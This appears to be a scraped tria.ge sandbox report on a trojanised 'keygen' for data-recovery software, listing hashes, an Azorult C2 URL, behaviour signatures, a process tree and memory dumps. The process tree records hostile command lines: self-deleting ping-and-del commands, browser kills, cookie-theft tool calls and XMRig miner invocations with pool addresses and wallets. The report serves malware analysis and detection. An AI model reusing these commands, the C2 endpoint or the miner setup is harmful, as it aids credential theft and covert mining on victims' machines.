Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

ﱞﱞﱞ�...ﱞﱞ

windows10_x64

10

ﱞﱞﱞ�...ฺฺ

windows10_x64

10

ﱞﱞﱞ�...ﱞﱞ

windows10_x64

10

ﱞﱞﱞ�...ﱞﱞ

windows10_x64

10

Resubmissions

06/04/2021, 13:50

210406-gc51ndzsc2 10

26/03/2021, 23:40

210326-d1ybrjhevx 10

13/03/2021, 17:16

210313-8s7b52z63e 10

05/03/2021, 14:52

210305-34k3zj54f2 10

01/03/2021, 13:17

210301-naamxpgf4e 10

28/02/2021, 20:46

210228-6q3b959xae 10

28/02/2021, 20:15

210228-mbr268za12 10

28/02/2021, 18:32

210228-h944b5cpxa 10

28/02/2021, 15:10

210228-hnwwpyjy7j 10

Analysis

  • max time kernel
    337s
  • max time network
    591s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    26/03/2021, 23:40

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    [CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe

  • Size

    9.2MB

  • MD5

    b806267b5f3b7760df56396b1cf05e6d

  • SHA1

    5166d4c1d3e476281d9e991eababc3e4aa9ec5ad

  • SHA256

    f95d12a0dbd8199d16f48d8e4cbe69a8d4ec16c534efb36e52a662664e1c1783

  • SHA512

    30e393bb3898edc8ab5fb04e62ce421ddf3903075f59e3880408b300f46bb74a85088336d6e1203b2101152cebeef4c1730290b41ca77604ecb722c8f627328b

Score
10/10
azorultplugxxmrigbootkitdiscoveryevasioninfostealermacrominerpersistencespywarestealertrojanupxxlm

Malware Config

Extracted

Family

azorult

C2

http://kvaka.li/1210776429.php

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

    trojaninfostealerazorult
  • PlugX

    PlugX is a RAT (Remote Access Trojan) that has been around since 2008.

    trojanplugx
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Nirsoft 4 IoCs
  • XMRig Miner Payload 4 IoCs
    miner
  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 20 IoCs
  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

    macroxlm
  • UPX packed file 6 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 4 IoCs
    evasiontrojan
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Writes to the Master Boot Record (MBR) 1 TTPs 3 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Drops file in Program Files directory 3 IoCs
  • Drops file in Windows directory 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 64 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 2 IoCs
    evasion
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
    evasionspywaretrojan
  • Runs ping.exe 1 TTPs 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe
    "C:\Users\Admin\AppData\Local\Temp\[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4688
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3116
      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exe
        keygen-pr.exe -p83fsase3Ge
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:3492
        • C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
          "C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:1432
          • C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
            C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat
            5⤵
              PID:2208
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exe
          keygen-step-1.exe
          3⤵
          • Executes dropped EXE
          PID:4060
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe
          keygen-step-3.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:4088
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1900
            • C:\Windows\SysWOW64\PING.EXE
              ping 1.1.1.1 -n 1 -w 3000
              5⤵
              • Runs ping.exe
              PID:2288
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exe
          keygen-step-4.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:4428
          • C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe
            "C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"
            4⤵
            • Executes dropped EXE
            • Checks whether UAC is enabled
            • Writes to the Master Boot Record (MBR)
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Modifies system certificate store
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:1636
            • C:\Windows\SysWOW64\msiexec.exe
              msiexec.exe /i "C:\Users\Admin\AppData\Local\Temp\gdiview.msi"
              5⤵
              • Enumerates connected drives
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of FindShellTrayWindow
              PID:2448
            • C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe
              C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe 0011 installp1
              5⤵
              • Executes dropped EXE
              • Checks whether UAC is enabled
              • Writes to the Master Boot Record (MBR)
              • Suspicious use of SetThreadContext
              • Checks SCSI registry key(s)
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:2936
              • C:\Program Files\Mozilla Firefox\firefox.exe
                "C:\Program Files\Mozilla Firefox\firefox.exe"
                6⤵
                • Suspicious use of SetWindowsHookEx
                PID:3800
              • C:\Users\Admin\AppData\Roaming\1616802268971.exe
                "C:\Users\Admin\AppData\Roaming\1616802268971.exe" /sjson "C:\Users\Admin\AppData\Roaming\1616802268971.txt"
                6⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of SetWindowsHookEx
                PID:1004
              • C:\Program Files\Mozilla Firefox\firefox.exe
                "C:\Program Files\Mozilla Firefox\firefox.exe"
                6⤵
                • Suspicious use of SetWindowsHookEx
                PID:1776
              • C:\Users\Admin\AppData\Roaming\1616802271909.exe
                "C:\Users\Admin\AppData\Roaming\1616802271909.exe" /sjson "C:\Users\Admin\AppData\Roaming\1616802271909.txt"
                6⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of SetWindowsHookEx
                PID:2364
              • C:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exe
                C:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exe ThunderFW "C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe"
                6⤵
                • Executes dropped EXE
                • Suspicious use of SetWindowsHookEx
                PID:2076
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe"
                6⤵
                  PID:2456
                  • C:\Windows\SysWOW64\PING.EXE
                    ping 127.0.0.1 -n 3
                    7⤵
                    • Runs ping.exe
                    PID:2348
              • C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe
                C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe 200 installp1
                5⤵
                • Executes dropped EXE
                • Checks whether UAC is enabled
                • Writes to the Master Boot Record (MBR)
                • Checks SCSI registry key(s)
                • Suspicious use of SetWindowsHookEx
                • Suspicious use of WriteProcessMemory
                PID:3084
                • C:\Windows\SysWOW64\cmd.exe
                  cmd.exe /c taskkill /f /im chrome.exe
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3544
                  • C:\Windows\SysWOW64\taskkill.exe
                    taskkill /f /im chrome.exe
                    7⤵
                    • Kills process with taskkill
                    PID:4392
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe"
                  6⤵
                    PID:4068
                    • C:\Windows\SysWOW64\PING.EXE
                      ping 127.0.0.1 -n 3
                      7⤵
                      • Runs ping.exe
                      PID:2172
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4308
                  • C:\Windows\SysWOW64\PING.EXE
                    ping 127.0.0.1 -n 3
                    6⤵
                    • Runs ping.exe
                    PID:1080
              • C:\Users\Admin\AppData\Local\Temp\RarSFX2\Install.exe
                "C:\Users\Admin\AppData\Local\Temp\RarSFX2\Install.exe"
                4⤵
                • Executes dropped EXE
                PID:4508
              • C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe
                "C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"
                4⤵
                • Executes dropped EXE
                • Modifies system certificate store
                PID:4596
                • C:\Users\Admin\AppData\Roaming\7F09.tmp.exe
                  "C:\Users\Admin\AppData\Roaming\7F09.tmp.exe"
                  5⤵
                  • Executes dropped EXE
                  • Adds Run key to start application
                  • Suspicious use of SetThreadContext
                  PID:584
                  • C:\Windows\system32\msiexec.exe
                    -P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.work@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 99999
                    6⤵
                      PID:1144
                    • C:\Windows\system32\msiexec.exe
                      -o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8 --cpu-max-threads-hint 50 -r 9999
                      6⤵
                      • Blocklisted process makes network request
                      PID:4760
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"
                    5⤵
                      PID:1772
                      • C:\Windows\SysWOW64\PING.EXE
                        ping 127.0.0.1
                        6⤵
                        • Runs ping.exe
                        PID:2308
                  • C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe
                    "C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe"
                    4⤵
                    • Executes dropped EXE
                    • Checks whether UAC is enabled
                    PID:1968
                  • C:\Users\Admin\AppData\Local\Temp\RarSFX2\BTRSetp.exe
                    "C:\Users\Admin\AppData\Local\Temp\RarSFX2\BTRSetp.exe"
                    4⤵
                    • Executes dropped EXE
                    PID:2188
                  • C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe
                    "C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe"
                    4⤵
                    • Executes dropped EXE
                    PID:4164
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd.exe /c taskkill /f /im chrome.exe
                      5⤵
                        PID:4320
                        • C:\Windows\SysWOW64\taskkill.exe
                          taskkill /f /im chrome.exe
                          6⤵
                          • Kills process with taskkill
                          PID:4412
                    • C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe
                      "C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe"
                      4⤵
                      • Executes dropped EXE
                      • Adds Run key to start application
                      PID:3836
                      • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                        5⤵
                        • Executes dropped EXE
                        PID:936
                      • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                        5⤵
                        • Executes dropped EXE
                        • Suspicious behavior: EnumeratesProcesses
                        PID:3908
              • C:\Windows\system32\msiexec.exe
                C:\Windows\system32\msiexec.exe /V
                1⤵
                • Enumerates connected drives
                • Drops file in Program Files directory
                • Drops file in Windows directory
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:2648
                • C:\Windows\syswow64\MsiExec.exe
                  C:\Windows\syswow64\MsiExec.exe -Embedding 56B6838C1137535E598C8EEB9CF5D285 C
                  2⤵
                  • Loads dropped DLL
                  PID:4256
                • C:\Windows\system32\srtasks.exe
                  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
                  2⤵
                    PID:3616
                • C:\Windows\system32\vssvc.exe
                  C:\Windows\system32\vssvc.exe
                  1⤵
                    PID:960
                  • \??\c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s DsmSvc
                    1⤵
                    • Checks SCSI registry key(s)
                    • Modifies data under HKEY_USERS
                    PID:1032

                  Network

                  MITRE ATT&CK Enterprise v6

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • memory/1004-70-0x0000000072AE0000-0x0000000072B73000-memory.dmp

                    Filesize

                    588KB

                    Download

                  • memory/1144-72-0x0000000140000000-0x0000000140383000-memory.dmp

                    Filesize

                    3.5MB

                    Download

                  • memory/1144-82-0x0000000140000000-0x0000000140383000-memory.dmp

                    Filesize

                    3.5MB

                    Download

                  • memory/1432-26-0x0000000002970000-0x0000000002B0C000-memory.dmp

                    Filesize

                    1.6MB

                    Download

                  • memory/1636-28-0x0000000010000000-0x000000001033E000-memory.dmp

                    Filesize

                    3.2MB

                    Download

                  • memory/1636-25-0x0000000072AE0000-0x0000000072B73000-memory.dmp

                    Filesize

                    588KB

                    Download

                  • memory/1776-87-0x00007FFF00300000-0x00007FFF0037E000-memory.dmp

                    Filesize

                    504KB

                    Download

                  • memory/1776-95-0x000002A0B2870000-0x000002A0B2871000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/2076-135-0x0000000072AE0000-0x0000000072B73000-memory.dmp

                    Filesize

                    588KB

                    Download

                  • memory/2188-105-0x0000000000540000-0x0000000000573000-memory.dmp

                    Filesize

                    204KB

                    Download

                  • memory/2188-107-0x000000001AC50000-0x000000001AC52000-memory.dmp

                    Filesize

                    8KB

                    Download

                  • memory/2188-106-0x0000000000580000-0x0000000000581000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/2188-104-0x0000000000520000-0x0000000000521000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/2188-102-0x00000000000C0000-0x00000000000C1000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/2188-101-0x00007FFEE8270000-0x00007FFEE8C5C000-memory.dmp

                    Filesize

                    9.9MB

                    Download

                  • memory/2364-91-0x0000000072AE0000-0x0000000072B73000-memory.dmp

                    Filesize

                    588KB

                    Download

                  • memory/2936-56-0x00000000035D0000-0x0000000003A7F000-memory.dmp

                    Filesize

                    4.7MB

                    Download

                  • memory/2936-36-0x0000000072AE0000-0x0000000072B73000-memory.dmp

                    Filesize

                    588KB

                    Download

                  • memory/3084-51-0x0000000010000000-0x000000001033E000-memory.dmp

                    Filesize

                    3.2MB

                    Download

                  • memory/3084-57-0x0000000002D30000-0x00000000031DF000-memory.dmp

                    Filesize

                    4.7MB

                    Download

                  • memory/3084-38-0x0000000072AE0000-0x0000000072B73000-memory.dmp

                    Filesize

                    588KB

                    Download

                  • memory/3800-63-0x000001EF52F80000-0x000001EF52F81000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/3800-61-0x0000000010000000-0x0000000010057000-memory.dmp

                    Filesize

                    348KB

                    Download

                  • memory/3800-60-0x00007FFF00300000-0x00007FFF0037E000-memory.dmp

                    Filesize

                    504KB

                    Download

                  • memory/4508-46-0x0000000000C10000-0x0000000000C11000-memory.dmp

                    Filesize

                    4KB

                    Download

                  • memory/4508-49-0x000000001B870000-0x000000001B872000-memory.dmp

                    Filesize

                    8KB

                    Download

                  • memory/4508-45-0x00007FFEE8270000-0x00007FFEE8C5C000-memory.dmp

                    Filesize

                    9.9MB

                    Download

                  • memory/4596-55-0x0000000000E50000-0x0000000000E5D000-memory.dmp

                    Filesize

                    52KB

                    Download

                  • memory/4596-71-0x0000000000400000-0x0000000000444000-memory.dmp

                    Filesize

                    272KB

                    Download

                  • memory/4760-85-0x000001655AA20000-0x000001655AA34000-memory.dmp

                    Filesize

                    80KB

                    Download

                  • memory/4760-83-0x0000000140000000-0x000000014070A000-memory.dmp

                    Filesize

                    7.0MB

                    Download

                  • memory/4760-97-0x000001655C220000-0x000001655C240000-memory.dmp

                    Filesize

                    128KB

                    Download

                  • memory/4760-93-0x0000000140000000-0x000000014070A000-memory.dmp

                    Filesize

                    7.0MB

                    Download

                  • memory/4760-94-0x0000000140000000-0x000000014070A000-memory.dmp

                    Filesize

                    7.0MB

                    Download

                  • memory/4760-139-0x000001655C240000-0x000001655C260000-memory.dmp

                    Filesize

                    128KB

                    Download